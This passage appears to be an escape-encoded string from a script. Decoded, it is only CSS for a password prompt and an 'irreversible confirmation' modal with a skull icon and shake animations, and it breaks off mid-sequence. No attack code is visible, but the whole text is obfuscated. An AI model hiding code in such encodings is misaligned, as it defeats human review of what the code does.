57\x75\x70\x20\x69\x6e\x70\165\164\133\164\x79\160\x65\x3d\42\x70\141\x73\163\167\x6f\x72\144\x22\x5d\x3a\146\157\143\165\x73\40\173\x20\157\165\164\154\x69\156\x65\x3a\x20\x6e\x6f\156\x65\73\40\x62\x6f\x72\144\145\x72\55\x63\x6f\154\x6f\162\x3a\40\166\x61\162\50\55\x2d\141\143\x63\145\156\164\x2d\142\x6c\x75\x65\51\73\40\142\x6f\170\x2d\163\150\141\x64\x6f\167\x3a\x20\x30\40\60\x20\x30\x20\x33\x70\170\x20\x72\x67\142\x61\50\61\63\60\54\x20\x31\67\60\x2c\40\62\65\65\54\x20\x30\x2e\62\x29\x3b\x20\x74\x72\x61\x6e\163\146\157\x72\x6d\72\40\163\x63\141\x6c\145\50\61\56\60\x32\x29\x3b\40\x7d\xa\x9\11\x2e\x70\141\x73\x73\x77\157\162\x64\x2d\x65\162\162\x6f\x72\40\x7b\x20\x63\x6f\154\157\x72\x3a\x20\x76\x61\162\x28\55\x2d\x61\x63\x63\145\x6e\164\x2d\162\145\144\x29\x3b\x20\x66\x6f\x6e\164\55\163\151\172\145\72\40\x30\x2e\x39\x72\x65\x6d\73\x20\155\141\162\147\151\x6e\55\164\x6f\160\72\40\60\x2e\65\162\x65\x6d\x3b\x20\155\151\156\x2d\150\x65\151\147\x68\164\72\x20\61\x2e\x35\x72\x65\x6d\73\40\144\151\163\x70\154\141\171\72\x20\x66\154\145\170\73\x20\x61\154\x69\147\x6e\55\x69\164\x65\155\x73\x3a\40\x63\x65\x6e\x74\x65\162\x3b\40\x67\x61\160\x3a\40\60\x2e\65\x72\x65\155\x3b\x20\157\160\x61\x63\x69\164\x79\x3a\x20\x30\x3b\40\164\162\141\x6e\x73\151\x74\x69\x6f\x6e\72\40\x6f\x70\x61\143\151\164\x79\40\60\x2e\x33\x73\x3b\x20\175\xa\11\x9\x2e\x70\x61\163\x73\167\157\162\144\55\145\x72\162\x6f\162\56\163\150\x6f\x77\40\173\x20\x6f\160\141\143\x69\x74\171\72\x20\x31\x3b\x20\x61\x6e\x69\155\x61\164\151\157\156\x3a\x20\x73\150\141\x6b\x65\x20\60\x2e\x35\163\x3b\40\x7d\12\x9\11\x40\153\x65\171\146\162\x61\155\145\x73\x20\x73\x68\141\153\145\x20\x7b\x20\60\x25\x2c\x20\61\x30\60\x25\x20\173\x20\164\162\141\x6e\163\x66\x6f\x72\155\x3a\x20\164\162\x61\x6e\x73\x6c\x61\164\145\130\50\x30\x29\73\40\x7d\40\x32\x35\45\40\173\40\164\x72\141\156\163\x66\x6f\162\x6d\x3a\40\x74\162\x61\156\163\154\x61\x74\x65\x58\50\55\61\x30\x70\x78\x29\73\40\x7d\x20\67\x35\45\40\x7b\40\x74\162\x61\156\x73\146\x6f\x72\x6d\72\x20\164\162\141\x6e\x73\x6c\141\x74\x65\x58\50\x31\x30\160\x78\x29\x3b\x20\x7d\x20\x7d\12\x9\x9\x2e\x70\141\163\x73\167\157\162\x64\x2d\x6d\x6f\x64\x61\x6c\55\x61\x63\164\x69\x6f\156\x73\40\x7b\40\x64\x69\x73\160\x6c\141\171\72\x20\146\154\x65\x78\73\40\147\x61\160\x3a\40\x31\x72\145\155\x3b\x20\152\165\x73\x74\x69\146\x79\x2d\x63\157\156\x74\145\156\x74\72\x20\x66\x6c\145\170\55\145\156\144\73\40\x6d\x61\162\x67\151\x6e\x2d\x74\157\x70\72\x20\61\162\x65\155\x3b\x20\x70\157\x73\151\164\x69\157\156\x3a\40\x72\x65\x6c\141\x74\151\x76\x65\73\x20\x7a\x2d\151\156\x64\145\x78\72\x20\61\x3b\x20\x7d\12\x9\x9\56\160\x61\163\163\167\x6f\162\x64\x2d\142\164\x6e\x2d\143\x61\x6e\143\145\x6c\x2c\40\56\x70\141\163\x73\167\157\162\x64\x2d\142\164\x6e\55\163\165\142\x6d\x69\164\x20\173\40\x70\x61\x64\x64\151\156\x67\x3a\x20\x30\x2e\67\65\162\145\x6d\x20\x32\162\145\x6d\x3b\40\x62\157\x72\144\x65\162\72\x20\x6e\x6f\156\145\73\40\142\157\x72\x64\145\x72\x2d\x72\141\x64\x69\x75\163\72\40\x38\x70\x78\73\40\x66\x6f\x6e\x74\x2d\x73\151\x7a\145\72\40\61\x72\145\x6d\73\x20\x66\x6f\156\164\x2d\x77\145\151\147\x68\x74\x3a\x20\x36\x30\x30\73\x20\143\165\x72\x73\x6f\162\72\x20\x70\x6f\x69\x6e\164\145\x72\73\40\x74\162\x61\x6e\163\151\x74\x69\157\x6e\72\x20\141\154\154\40\60\x2e\63\163\x3b\40\146\157\156\164\x2d\x66\141\155\x69\x6c\171\72\40\166\141\162\50\55\x2d\146\157\156\x74\55\146\141\x6d\x69\x6c\x79\x29\73\x20\175\12\x9\11\56\x70\141\163\x73\167\x6f\162\x64\55\142\x74\x6e\x2d\143\141\156\x63\x65\x6c\40\173\40\142\x61\143\x6b\147\x72\157\165\156\x64\x3a\40\x76\x61\162\50\x2d\55\142\x67\x2d\x6c\151\147\x68\164\51\73\x20\x63\x6f\x6c\x6f\x72\x3a\40\x76\x61\x72\x28\x2d\x2d\x74\145\170\x74\x2d\x6c\x69\x67\x68\164\x29\x3b\40\142\x6f\162\144\145\x72\72\x20\x32\x70\x78\x20\x73\157\154\x69\144\x20\x76\141\162\50\55\55\x62\157\x72\x64\145\162\x2d\x63\x6f\154\157\162\x29\73\40\x7d\xa\x9\x9\56\160\141\x73\x73\x77\x6f\162\x64\x2d\x62\164\x6e\x2d\143\141\x6e\x63\x65\154\72\x68\x6f\x76\x65\x72\40\x7b\x20\x62\x61\x63\x6b\147\x72\x6f\x75\x6e\144\x3a\40\x76\141\162\x28\x2d\55\142\x67\x2d\144\141\x72\153\51\x3b\40\142\x6f\x72\144\145\162\x2d\x63\x6f\154\157\x72\x3a\x20\166\x61\x72\50\55\55\164\x65\170\x74\55\x6d\x65\x64\x29\73\x20\164\162\141\x6e\163\146\x6f\162\x6d\x3a\x20\164\x72\x61\156\163\154\141\164\x65\131\x28\55\x32\160\170\51\x3b\x20\175\xa\11\x9\56\x70\141\x73\x73\167\x6f\162\x64\x2d\142\164\x6e\55\x73\165\142\x6d\x69\x74\40\x7b\x20\142\x61\x63\153\147\162\x6f\x75\156\x64\72\40\154\x69\x6e\x65\x61\x72\x2d\x67\x72\x61\144\x69\x65\x6e\164\x28\61\63\x35\x64\x65\x67\54\x20\166\x61\162\x28\x2d\x2d\x61\x63\143\145\x6e\x74\55\x62\154\x75\145\x29\x20\60\x25\x2c\40\x23\x39\x64\x63\x31\146\x66\x20\61\x30\x30\x25\51\x3b\40\x63\x6f\154\157\162\72\40\x76\141\162\50\x2d\55\142\x67\55\144\141\x72\x6b\x29\x3b\40\x62\x6f\170\x2d\x73\150\141\x64\x6f\x77\x3a\x20\60\x20\64\x70\x78\40\x31\x35\160\170\x20\x72\x67\x62\x61\x28\x31\x33\x30\54\40\61\67\60\54\40\x32\x35\65\x2c\x20\x30\56\x33\51\73\40\175\xa\x9\x9\56\160\141\163\x73\167\x6f\162\144\x2d\142\x74\156\55\x73\165\142\x6d\151\164\x3a\150\157\x76\145\162\x20\173\40\164\162\x61\x6e\163\146\x6f\x72\x6d\x3a\x20\164\x72\x61\x6e\x73\x6c\x61\164\145\x59\50\55\62\x70\170\x29\x3b\x20\142\x6f\x78\x2d\163\x68\141\144\157\x77\72\40\x30\x20\x36\x70\x78\40\62\x30\160\x78\x20\162\147\142\x61\50\x31\63\x30\54\40\61\x37\x30\x2c\40\x32\65\65\54\x20\60\x2e\x35\51\73\40\x7d\12\x9\x9\x2e\x70\x61\163\163\167\x6f\162\144\x2d\x62\x74\x6e\55\x73\165\142\155\151\164\72\x61\143\x74\151\x76\145\40\x7b\40\164\162\x61\x6e\x73\146\157\162\155\72\40\164\x72\141\156\163\x6c\x61\x74\145\x59\x28\60\x29\x3b\x20\175\xa\11\11\x2e\160\x61\163\x73\x77\x6f\162\144\55\142\164\156\55\163\165\x62\155\151\x74\x3a\144\x69\163\x61\x62\x6c\x65\144\40\x7b\x20\157\x70\141\x63\x69\x74\171\x3a\x20\60\x2e\66\x3b\40\x63\x75\162\163\x6f\162\72\x20\156\x6f\x74\x2d\x61\x6c\x6c\157\x77\145\144\73\x20\164\x72\141\x6e\163\146\x6f\162\155\x3a\x20\x6e\157\156\145\x3b\x20\x7d\xa\x9\x9\xa\x9\x9\57\52\40\x49\162\162\x65\x76\x65\x72\163\151\142\154\145\40\x43\157\156\146\x69\x72\x6d\x61\x74\151\157\156\x20\x4d\x6f\x64\x61\154\x20\123\x74\171\x6c\151\156\147\40\x2a\x2f\12\11\x9\56\151\162\162\145\x76\145\x72\163\x69\x62\154\145\x2d\155\x6f\144\x61\x6c\55\x63\157\x6e\x74\145\156\x74\x20\173\xa\x9\11\11\x77\151\x64\164\x68\x3a\x20\x39\x30\45\x3b\12\x9\11\x9\x6d\x61\170\55\x77\151\144\164\x68\72\x20\64\65\60\x70\x78\73\xa\11\11\x9\160\141\144\x64\x69\x6e\x67\72\40\60\73\12\x9\x9\x9\142\x6f\x72\x64\145\x72\x3a\x20\x32\160\x78\40\163\157\x6c\x69\144\40\x76\x61\162\50\x2d\55\x61\143\143\x65\x6e\164\55\x72\x65\x64\51\x3b\12\11\11\11\x62\141\143\x6b\147\162\157\x75\x6e\x64\x3a\x20\x6c\x69\156\x65\x61\x72\x2d\147\x72\x61\144\151\x65\x6e\164\50\61\x33\x35\x64\x65\147\54\x20\43\x31\x61\x30\x61\x30\141\x20\x30\45\54\x20\43\62\x64\60\146\60\x66\x20\x35\x30\x25\54\x20\43\61\x61\60\141\60\141\40\61\60\60\45\51\x3b\xa\11\11\11\142\157\170\55\163\x68\141\144\157\x77\x3a\40\x30\x20\x30\40\x34\x30\x70\x78\x20\x72\147\142\x61\x28\62\x32\60\54\40\65\63\54\40\66\x39\x2c\x20\60\56\70\51\x2c\12\x9\11\x9\x9\11\11\60\40\x30\40\70\60\x70\x78\40\162\147\x62\x61\x28\x32\62\60\54\x20\x35\63\x2c\x20\x36\71\54\40\x30\56\x34\51\54\xa\11\11\11\x9\x9\11\x69\156\163\x65\x74\40\60\40\60\x20\62\65\x70\170\40\162\x67\142\x61\x28\x32\62\x30\54\x20\x35\x33\x2c\x20\x36\x39\x2c\40\x30\x2e\x31\x29\73\xa\11\11\11\x70\157\163\x69\x74\x69\157\x6e\72\x20\x72\x65\154\x61\x74\x69\x76\x65\73\xa\x9\11\11\x6f\166\x65\x72\146\154\157\167\x3a\x20\x68\151\x64\144\145\156\73\12\x9\11\x7d\12\11\11\xa\x9\x9\x2e\151\x72\162\x65\166\145\162\163\x69\142\154\x65\55\x6d\157\144\141\154\55\x63\157\156\x74\145\x6e\164\x3a\72\142\145\x66\157\162\x65\40\173\xa\x9\x9\x9\143\157\x6e\x74\145\156\x74\72\x20\47\47\x3b\xa\x9\11\x9\160\x6f\163\x69\x74\151\x6f\x6e\72\40\x61\142\163\157\x6c\165\164\145\73\12\x9\x9\x9\164\x6f\x70\x3a\x20\x30\x3b\xa\x9\11\11\x6c\x65\146\x74\x3a\40\60\x3b\xa\11\x9\11\x72\151\x67\150\x74\72\40\x30\73\12\11\11\11\142\x6f\x74\x74\x6f\155\72\40\60\73\xa\11\11\11\142\141\143\153\x67\162\157\165\x6e\144\72\x20\x72\x65\x70\145\141\164\151\x6e\x67\55\x6c\x69\x6e\x65\141\162\55\147\162\x61\x64\151\145\156\164\x28\xa\x9\x9\11\x9\x30\x64\145\x67\x2c\xa\11\x9\x9\11\164\x72\141\x6e\163\x70\x61\x72\145\x6e\164\x2c\xa\11\x9\11\11\164\162\141\x6e\x73\x70\141\x72\145\156\164\x20\x32\x70\170\54\12\x9\x9\x9\11\162\x67\142\141\50\x32\62\60\54\40\x35\x33\54\40\x36\x39\54\40\60\56\60\63\x29\x20\62\x70\170\x2c\xa\x9\11\11\x9\x72\x67\142\x61\50\62\x32\60\54\x20\x35\63\x2c\40\66\71\54\x20\x30\x2e\60\63\x29\40\64\x70\170\12\x9\x9\x9\51\73\12\x9\11\x9\x70\157\x69\x6e\164\145\162\55\x65\x76\145\156\164\163\72\x20\156\157\156\145\x3b\12\11\x9\175\12\x9\x9\xa\11\11\x2e\x69\x72\162\x65\166\x65\162\163\x69\x62\x6c\145\55\x6d\x6f\x64\141\154\x2d\x68\x65\141\x64\x65\162\x20\x7b\xa\x9\x9\x9\x62\141\x63\153\x67\x72\157\165\x6e\x64\72\40\154\x69\156\145\x61\x72\x2d\147\x72\x61\x64\151\x65\x6e\164\50\x31\63\x35\144\145\147\54\x20\43\x64\143\63\65\64\65\40\60\45\54\x20\x23\x63\x38\62\x33\x33\63\x20\65\x30\x25\54\40\43\x62\144\x32\61\63\60\40\x31\x30\60\45\51\x3b\12\x9\x9\x9\x70\141\x64\144\151\x6e\147\x3a\40\x31\x72\145\x6d\x20\61\56\65\162\x65\155\73\xa\x9\11\11\142\157\162\144\x65\162\55\142\x6f\x74\x74\x6f\x6d\x3a\x20\62\160\170\x20\163\x6f\154\x69\144\x20\162\x67\x62\x61\x28\x32\65\x35\x2c\x20\x32\65\x35\x2c\x20\62\65\65\54\40\x30\56\x32\51\73\xa\11\11\11\160\157\163\x69\164\x69\157\x6e\72\x20\162\145\x6c\x61\x74\x69\x76\145\x3b\xa\x9\11\11\172\55\x69\156\144\145\170\x3a\40\x31\73\12\x9\11\x7d\12\11\x9\xa\x9\x9\x2e\151\162\162\145\166\145\162\x73\151\142\x6c\x65\x2d\x6d\x6f\x64\x61\x6c\x2d\150\145\x61\x64\x65\162\x20\x68\x33\x20\173\12\x9\x9\11\x6d\x61\x72\x67\x69\x6e\x3a\x20\x30\x3b\12\x9\11\x9\146\x6f\x6e\x74\x2d\163\x69\x7a\145\72\x20\x31\56\63\x72\x65\155\73\xa\x9\11\11\146\x6f\x6e\164\x2d\167\x65\151\x67\x68\164\x3a\40\x37\60\x30\x3b\12\11\11\x9\x63\x6f\x6c\x6f\x72\x3a\x20\x23\x66\x66\146\146\x66\x66\x3b\xa\11\x9\x9\164\145\170\x74\55\163\150\141\x64\157\167\72\40\x30\x20\60\40\61\x35\x70\170\40\162\x67\x62\141\50\x32\65\65\54\40\62\x35\x35\x2c\40\x32\65\x35\x2c\40\60\x2e\65\51\54\xa\11\x9\x9\x9\x9\x9\60\40\62\160\x78\x20\x38\160\170\40\162\x67\142\x61\x28\60\x2c\x20\x30\x2c\40\60\x2c\x20\60\x2e\65\51\x3b\12\x9\11\x9\x6c\x65\x74\x74\x65\x72\x2d\x73\x70\x61\143\151\156\147\x3a\40\x30\56\65\x70\x78\x3b\12\11\x9\x9\164\145\170\164\x2d\164\162\141\x6e\x73\x66\x6f\x72\155\x3a\x20\x75\x70\160\145\x72\x63\141\163\x65\73\12\11\11\x9\x61\156\x69\x6d\x61\164\x69\157\156\72\40\167\141\162\x6e\151\x6e\x67\120\x75\154\163\x65\40\62\x73\x20\x65\x61\163\145\55\151\156\x2d\157\x75\164\x20\151\x6e\x66\151\156\x69\164\x65\x3b\xa\x9\11\175\xa\11\x9\xa\11\11\100\153\145\171\146\x72\141\x6d\145\x73\x20\167\x61\x72\x6e\x69\156\147\120\165\154\x73\145\x20\173\xa\11\11\11\x30\x25\54\40\x31\60\x30\x25\40\x7b\xa\x9\x9\11\11\x74\x65\170\x74\x2d\163\150\141\x64\157\x77\x3a\x20\60\x20\60\x20\x32\x30\x70\x78\40\162\147\x62\x61\x28\62\65\x35\x2c\x20\x32\x35\65\x2c\40\62\65\65\x2c\40\x30\56\x35\x29\x2c\12\11\11\x9\11\11\11\x9\x30\40\62\x70\x78\x20\x31\x30\160\170\x20\162\x67\x62\x61\x28\x30\x2c\40\60\54\40\60\54\x20\x30\x2e\65\x29\x3b\12\x9\11\11\175\12\x9\11\x9\x35\x30\45\x20\173\xa\x9\x9\11\x9\x74\145\x78\164\55\163\x68\x61\144\157\x77\72\40\x30\40\60\x20\x33\60\160\x78\x20\162\x67\x62\x61\50\x32\65\65\54\x20\62\65\65\54\x20\x32\65\x35\54\40\x30\x2e\x38\51\x2c\xa\x9\x9\11\11\11\11\x9\60\x20\x32\160\170\40\61\x35\160\x78\40\162\x67\x62\141\50\60\x2c\x20\x30\x2c\x20\60\x2c\x20\x30\x2e\x37\x29\x2c\12\11\11\x9\x9\x9\x9\x9\60\x20\x30\40\x34\60\x70\x78\x20\162\x67\142\x61\x28\x32\65\65\x2c\x20\x30\x2c\x20\60\x2c\x20\x30\56\x36\x29\73\xa\11\11\x9\175\12\x9\x9\175\xa\11\x9\xa\x9\11\56\151\x72\162\x65\x76\x65\162\163\151\x62\x6c\145\55\x6d\157\x64\141\154\x2d\x68\x65\x61\x64\x65\162\40\x2e\x63\x6c\157\x73\x65\x20\173\xa\11\x9\x9\x63\157\x6c\157\x72\72\40\43\x66\x66\146\146\146\x66\73\12\x9\x9\x9\146\157\x6e\x74\x2d\163\151\x7a\145\72\40\62\162\x65\155\73\12\x9\11\x9\146\x6f\x6e\164\x2d\167\145\x69\147\150\164\72\x20\63\x30\60\73\xa\x9\x9\11\157\160\x61\143\x69\x74\171\x3a\40\x30\56\70\73\12\x9\11\x9\164\162\141\x6e\x73\x69\x74\x69\x6f\156\x3a\40\x61\154\x6c\x20\60\56\63\163\73\12\11\11\175\12\11\x9\12\x9\x9\56\x69\162\x72\x65\166\145\162\163\x69\x62\154\x65\55\155\x6f\144\141\154\x2d\150\x65\141\x64\145\x72\40\x2e\143\x6c\x6f\163\145\x3a\150\157\166\145\x72\40\x7b\12\x9\x9\x9\x6f\160\x61\143\151\164\x79\x3a\x20\61\x3b\12\x9\x9\x9\x74\x72\x61\156\163\146\157\162\x6d\x3a\x20\x73\143\141\154\x65\x28\x31\x2e\62\x29\73\xa\11\x9\x9\164\x65\x78\x74\x2d\x73\x68\x61\x64\157\x77\x3a\x20\x30\x20\x30\40\61\60\160\170\40\x72\147\142\x61\x28\62\65\65\54\40\x32\65\x35\54\40\62\x35\x35\54\40\x30\56\70\51\x3b\xa\x9\x9\175\12\x9\11\12\x9\x9\56\151\x72\162\145\166\x65\162\163\x69\142\x6c\x65\x2d\155\157\x64\x61\x6c\55\142\x6f\x64\x79\x20\173\12\11\x9\11\x70\x61\x64\144\x69\156\147\72\40\x31\x2e\x35\162\x65\155\x3b\xa\x9\x9\11\x70\157\163\x69\164\x69\x6f\x6e\x3a\x20\162\145\x6c\x61\164\x69\x76\x65\73\12\11\11\11\x7a\55\151\x6e\144\145\x78\72\40\61\73\12\x9\11\175\12\11\x9\12\11\11\x2e\151\x72\162\145\x76\145\x72\x73\151\142\x6c\145\x2d\x77\x61\x72\156\x69\x6e\147\x2d\x62\157\170\x20\173\12\11\11\x9\142\x61\x63\153\147\162\x6f\165\x6e\144\72\40\x6c\151\x6e\145\x61\x72\x2d\147\x72\x61\144\x69\x65\156\164\50\61\x33\65\144\x65\x67\x2c\40\162\147\x62\141\50\62\x32\60\54\40\x35\x33\54\40\x36\71\54\x20\60\56\x31\x29\x20\x30\45\54\x20\x72\147\142\x61\x28\62\60\x30\54\40\x33\65\54\40\65\61\x2c\x20\x30\56\61\65\51\40\61\60\x30\45\x29\x3b\12\x9\11\11\x62\x6f\x72\x64\145\x72\72\x20\62\x70\170\40\163\x6f\154\x69\x64\x20\162\147\142\x61\50\x32\62\x30\x2c\40\65\63\x2c\40\66\x39\x2c\40\x30\x2e\65\51\73\xa\11\x9\x9\x62\157\x72\144\x65\x72\x2d\162\141\x64\151\165\x73\x3a\x20\61\x30\160\170\73\12\11\11\11\x70\141\144\x64\x69\156\147\x3a\40\61\x2e\62\x35\x72\145\x6d\73\12\x9\11\11\164\145\x78\164\55\x61\154\151\x67\x6e\x3a\40\143\145\x6e\164\x65\162\73\xa\x9\11\11\160\x6f\163\x69\164\151\x6f\x6e\x3a\x20\x72\145\x6c\x61\x74\x69\166\x65\x3b\12\x9\11\11\157\x76\145\162\x66\154\x6f\167\x3a\x20\150\151\x64\144\145\x6e\73\12\11\x9\11\142\157\170\x2d\x73\150\x61\144\x6f\167\x3a\x20\x69\156\x73\x65\x74\40\60\40\x30\40\62\x35\x70\170\40\x72\147\x62\x61\x28\62\62\x30\54\x20\x35\63\54\x20\x36\x39\x2c\40\x30\x2e\x32\x29\54\xa\11\11\x9\x9\11\x9\60\40\x30\40\x33\x30\x70\170\x20\162\x67\142\141\x28\x32\62\x30\x2c\40\x35\63\x2c\x20\66\71\54\x20\x30\56\x33\51\x3b\xa\x9\11\x7d\xa\11\x9\xa\11\11\x2e\151\162\162\x65\x76\x65\x72\x73\151\x62\x6c\x65\55\x77\141\162\x6e\151\x6e\x67\55\x62\x6f\x78\72\x3a\x62\145\x66\x6f\162\145\40\x7b\12\11\11\11\x63\157\156\x74\145\156\164\72\x20\47\x27\x3b\12\11\11\x9\160\157\163\151\164\x69\x6f\x6e\x3a\40\141\x62\x73\157\x6c\x75\x74\145\x3b\xa\11\11\x9\164\x6f\160\x3a\x20\55\65\x30\x25\x3b\xa\11\11\x9\154\x65\x66\164\72\x20\x2d\65\x30\x25\73\12\11\11\x9\167\x69\144\x74\x68\72\x20\x32\x30\60\x25\73\xa\11\11\x9\x68\x65\x69\147\150\164\x3a\40\x32\x30\x30\45\x3b\xa\x9\x9\x9\142\141\143\x6b\147\162\157\x75\156\x64\x3a\40\x72\141\x64\x69\141\154\x2d\x67\162\141\x64\151\145\x6e\164\50\x63\x69\x72\x63\154\145\x2c\x20\162\x67\142\141\50\x32\x32\60\54\40\65\63\54\40\x36\x39\54\x20\x30\56\x31\x35\51\x20\60\45\x2c\x20\164\162\x61\x6e\x73\x70\141\x72\x65\x6e\x74\40\67\60\45\51\x3b\12\x9\x9\11\141\x6e\x69\155\x61\x74\151\157\156\72\x20\162\157\164\x61\x74\x65\40\61\65\163\40\x6c\151\156\x65\141\x72\40\151\x6e\x66\151\x6e\x69\164\145\73\xa\11\x9\x7d\12\11\11\12\x9\x9\56\x69\162\162\x65\x76\x65\x72\163\151\142\154\145\55\x69\143\157\156\40\x7b\12\11\x9\x9\x66\157\x6e\164\55\x73\151\x7a\x65\x3a\x20\x33\56\65\x72\145\x6d\x3b\12\11\11\x9\x6d\141\x72\x67\151\x6e\x2d\142\157\x74\x74\157\x6d\x3a\x20\60\x2e\x37\x35\x72\145\155\73\xa\11\x9\x9\141\156\151\x6d\x61\164\151\x6f\156\72\40\163\x6b\165\154\154\106\x6c\x6f\141\164\x20\x33\x73\40\145\141\163\145\55\151\156\55\x6f\x75\164\x20\151\156\146\x69\x6e\151\x74\x65\x3b\xa\11\11\11\x70\x6f\163\151\164\x69\x6f\x6e\x3a\40\162\x65\154\x61\x74\151\x76\145\73\xa\x9\11\11\x7a\55\151\156\x64\x65\x78\x3a\x20\x31\x3b\12\x9\x9\11\146\151\x6c\164\x65\162\72\x20\x64\x72\x6f\160\x2d\163\150\x61\144\x6f\x77\50\60\x20\x30\x20\61\x35\160\x78\x20\x72\x67\x62\x61\x28\x32\62\x30\54\x20\x35\x33\x2c\x20\66\71\x2c\40\60\56\x38\51\51\73\12\x9\x9\x7d\xa\11\x9\xa\x9\11\x40\x6b\145\171\x66\162\141\x6d\145\x73\x20\163\153\x75\154\x6c\106\154\x6f\141\164\40\x7b\xa\x9\x9\11\x30\45\54\40\61\x30\60\x25\x20\x7b\xa\11\11\11\11\164\162\x61\156\x73\x66\157\162\x6d\72\40\164\x72\141\x6e\x73\x6c\141\x74\x65\131\50\60\51\x20\x72\x6f\x74\x61\164\145\50\x30\144\145\147\x29\x3b\xa\x9\x9\11\175\xa\x9\x9\11\62\x35\45\x20\173\12\x9\x9\x9\x9\x74\x72\141\x6e\163\x66\x6f\162\155\x3a\40\x74\x72\141\156\x73\x6c\141\164\x65\x59\x28\55\x31\x30\160\170\x29\40\x72\x6f\x74\x61\164\x65\50\55\65\144\x65\147\x29\73\xa\11\11\11\175\12\11\x9\11\x37\x35\45\40\173\xa\11\11\x9\11\164\162\x61\x6e\163\x66\157\x72\155\x3a\40\164\162\x61\156\x73\x6c\141\x74\145\131\50\55\x31\x30\x70\x78\51\40\x72\x6f\x74\x61\164\x65\50\x35\x64\145\x67\51\x3b\12\11\11\11\175\xa\11\x9\x7d\12\11\x9\xa\x9\x9\56\x69\x72\162\x65\166\145\162\163\x69\142\154\x65\55\x74\151\x74\154\x65\x20\x7b\xa\11\x9\x9\x66\x6f\x6e\x74\55\163\x69\x7a\145\x3a\40\61\56\x34\x72\145\x6d\73\12\11\11\x9\146\x6f\156\x74\55\x77\x65\151\147\x68\164\x3a\x20\x37\x30\x30\73\12\x9\11\x9\143\x6f\154\x6f\x72\x3a\x20\166\141\162\x28\x2d\x2d\141\x63\143\x65\x6e\164\x2d\x72\x65\x64\51\x3b\xa\11\x9\x9\155\x61\x72\x67\151\x6e\55\142\x6f\164\x74\x6f\155\72\x20\60\56\67\x35\162\145\155\73\12\x9\x9\x9\164\145\x78\x74\55\x74\162\141\x6e\163\146\x6f\x72\155\72\40\165\x70\160\x65\162\143\x61\163\145\x3b\xa\11\11\x9\x6c\145\x74\164\x65\162\x2d\163\x70\x61\143\x69\x6e\x67\72\x20\x31\160\170\73\xa\11\x9\11\164\x65\170\164\55\x73\x68\141\144\x6f\167\x3a\40\60\x20\x30\x20\61\65\160\x78\x20\162\x67\142\x61\50\62\62\60\x2c\40\x35\63\54\40\66\x39\54\x20\x30\56\x38\x29\54\12\x9\x9\x9\x9\11\x9\60\40\62\160\x78\40\x38\x70\170\40\162\x67\x62\x61\x28\60\x2c\x20\60\x2c\40\x30\x2c\40\x30\x2e\65\x29\73\xa\11\11\11\x70\x6f\x73\x69\x74\x69\157\156\x3a\40\162\145\154\141\x74\151\166\x65\73\12\11\x9\x9\172\x2d\x69\x6e\144\145\170\x3a\x20\x31\73\12\11\x9\x9\x61\156\x69\155\x61\x74\x69\x6f\x6e\72\x20\164\x69\x74\x6c\x65\123\150\x61\x6b\145\40\60\56\x35\x73\40\x65\141\163\x65\x2d\x69\x6e\x2d\157\x75\x74\40\151\156\x66\x69\x6e\151\164\145\73\12\11\x9\x7d\12\x9\11\12\x9\11\100\153\x65\x79\146\x72\141\x6d\x65\x73\40\164\151\x74\x6c\x65\123\150\x61\x6b\x65\x20\173\12\x9\11\x9\x30\45\54\x20\61\x30\60\45\x20\173\xa\x9\11\x9\11\164\x72\x61\156\x73\x66\x6f\x72\155\72\40\164\x72\x61\x6e\x73\154\x61\x74\x65\130\50\60\x29\x3b\12\x9\x9\11\175\xa\11\11\11\62\x35\x25\x20\173\12\11\11\11\11\164\x72\141\156\x73\146\157\x72\x6d\72\x20\x74\162\x61\156\x73\x6c\141\164\x65\x58\x28\x2d\62\x70\170\51\73\12\11\11\x9\x7d\12\x9\x9\11\67\x35\45\x20\x7b\12\x9\x9\x9\11\164\x72\141\x6e\163\146\157\162\155\72\40\x74\x72\x61\x6e\x73\x6c\x61\164\x65\130\x28\62\160\x78\51\73\xa\x9\x9\11\175\xa\x9\11\x7d\12\11\x9\xa\11\11\56\x69\x72\x72\145\x76\145\x72\163\x69\x62\154\x65\55\155\145\163\163\141\x67\145\x20\x7b\xa\11\11\x9\x66\157\x6e\x74\55\x73\151\172\x65\72\x20\x30\56\71\65\162\145\155\x3b\xa\11\11\11\143\157\x6c\157\162\x3a\40\x76\x61\162\50\55\x2d\164\145\170\x74\x2d\154\151\x67\150\x74\x29\73\12\11\11\x9\x6d\x61\162\x67\x69\x6e\x2d\142\x6f\x74\x74\157\x6d\72\x20\61\56\x32\x35\162\145\155\x3b\12\x9\11\11\154\151\x6e\145\x2d\x68\x65\151\x67\150\x74\x3a\40\x31\56\x35\x3b\12\11\11\11\x70\x6f\163\151\x74\151\x6f\156\72\40\x72\145\154\141\x74\151\x76\x65\x3b\12\x9\x9\x9\x7a\55\x69\x6e\144\145\x78\x3a\x20\61\73\12\x9\x9\x9\146\x6f\x6e\164\55\167\x65\x69\147\150\x74\72\40\65\60\60\x3b\xa\x9\x9\x7d\12\11\11\xa\11\11\56\151\x72\x72\145\x76\145\162\163\151\x62\154\145\55\144\145\164\141\151\x6c\163\x20\x7b\12\11\11\x9\x64\x69\163\x70\154\141\x79\x3a\x20\x66\154\x65\170\x3b\12\x9\x9\11\x66\154\x65\x78\55\144\x69\x72\145\x63\164\x69\157\156\72\x20\x63\157\154\x75\x6d\x6e\x3b\12\11\11\x9\x67\x61\160\72\40\60\56\x37\x35\x72\145\x6d\73\12\x9\x9\x9\x6d\141\162\x67\151\x6e\x2d\x74\x6f\x70\72\40\61\x2e\x32\65\162\x65\x6d\73\xa\x9\x9\11\x70\x6f\x73\x69\164\x69\x6f\x6e\x3a\x20\x72\x65\x6c\141\164\151\x76\145\73\12\x9\x9\11\172\x2d\151\x6e\144\x65\x78\72\x20\61\73\xa\x9\x9\x7d\xa\11\11\xa\x9\11\56\x69\x72\162\x65\166\x65\162\x73\x69\142\154\x65\55\144\145\164\141\x69\154\x2d\151\164\x65\x6d\x20\173\12\11\11\11\144\151\163\160\154\141\171\72\40\146\154\x65\x78\x3b\12\11\x9\11\x61\x6c\151\147\x6e\55\151\164\x65\155\x73\x3a\40\143\x65\x6e\164\x65\x72\x3b\12\x9\11\11\x67\x61\160\72\x20\60\x2e\67\x35\162\x65\x6d\73\12\11\11\x9\142\141\143\x6b\147\x72\x6f\165\156\x64\x3a\40\x72\x67\x62\141\x28\60\54\x20\60\x2c\40\60\54\x20\60\x2e\63\51\x3b\xa\11\11\11\160\141\144\144\151\x6e\147\x3a\40\60\x2e\67\65\162\145\155\x3b\12\11\11\x9\x62\x6f\x72\x64\145\162\x2d\x72\141\x64\151\x75\163\x3a\40\x36\x70\x78\73\xa\x9\x9\x